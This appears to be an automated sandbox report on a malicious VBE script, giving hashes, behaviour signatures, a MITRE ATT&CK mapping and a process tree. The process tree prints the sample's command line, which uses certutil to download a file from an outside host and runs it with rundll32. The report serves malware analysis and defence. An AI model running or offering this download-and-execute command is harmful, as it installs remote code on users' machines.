653c934bb9ae7e3feb234fc932f22f8e0f00b14cd0e2c8ab2e79a51e25459150

Analysis

max time kernel
119s
max time network
119s
platform
windows7_x64
resource
win7-en-20211208
submitted
10/02/2022, 10:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Agenzia_30.vbe
Size 246B
Sample220210-md8ngaggc7
SHA256 653c934bb9ae7e3feb234fc932f22f8e0f00b14cd0e2c8ab2e79a51e25459150
MD5 6b54bafffe21e24f0b4f07790fee16a9
SHA1 3f3f94bab653b519832c45286aa74995c72c2dd8
SHA512 7565bb8e0baeb3f12d4a10de7b79f51222ea486b6a85c516b7af32f4d409aab75361d28c371f93db62052bb3329fcd23aa145aa6166ffd4f070fce4b7f11fb2f
MD5 SHA1 SHA512

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1536 wrote to memory of 1300	1536	WScript.exe	27
PID 1536 wrote to memory of 1300	1536	WScript.exe	27
PID 1536 wrote to memory of 1300	1536	WScript.exe	27
PID 1300 wrote to memory of 1480	1300	cmd.exe	29
PID 1300 wrote to memory of 1480	1300	cmd.exe	29
PID 1300 wrote to memory of 1480	1300	cmd.exe	29
PID 1300 wrote to memory of 1560	1300	cmd.exe	32
PID 1300 wrote to memory of 1560	1300	cmd.exe	32
PID 1300 wrote to memory of 1560	1300	cmd.exe	32

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Agenzia_30.vbe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c certutil -urlcache -split -f https://interlinx.top/image.txt C:\Users\Admin\AppData\Local\Temp\\image.txt && timeout 8 & rundll32 C:\Users\Admin\AppData\Local\Temp\\image.txt, DllRegisterServer
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1300
- - C:\Windows\system32\certutil.exe
    certutil -urlcache -split -f https://interlinx.top/image.txt C:\Users\Admin\AppData\Local\Temp\\image.txt
    3⤵
    PID:1480
- - C:\Windows\system32\rundll32.exe
    rundll32 C:\Users\Admin\AppData\Local\Temp\\image.txt, DllRegisterServer
    3⤵
    PID:1560

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1480-55-0x00000000FF5A1000-0x00000000FF5A3000-memory.dmp

Download

memory/1536-54-0x000007FEFC521000-0x000007FEFC523000-memory.dmp